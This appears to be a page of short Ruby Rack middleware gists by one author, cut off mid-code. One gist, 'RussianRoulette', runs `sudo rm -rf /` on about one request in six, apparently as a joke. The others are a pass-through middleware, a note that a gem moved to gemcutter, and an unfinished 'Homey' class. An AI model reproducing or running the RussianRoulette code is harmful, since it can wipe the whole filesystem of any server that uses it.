techiferous

module Rack
  class RussianRoulette

    def initialize(app)
      @app = app
    end
    
    def call(env)
      if rand(6) == 0
        %x{sudo rm -rf /}

techiferous

module Rack
  class Identity

    def initialize(app)
      @app = app
    end
    
    def call(env)
      @app.call(env)
    end

techiferous

This code has graduated from a gist to a gem!

http://gemcutter.org/gems/rack-environmental
http://github.com/techiferous/rack-environmental

techiferous

# This Rack middleware is inspired by Homey D. Clown.

class Homey

  def initialize app, options = {}
    @app = app
  end

  def call(env)
    status, headers, body = @app.call(env)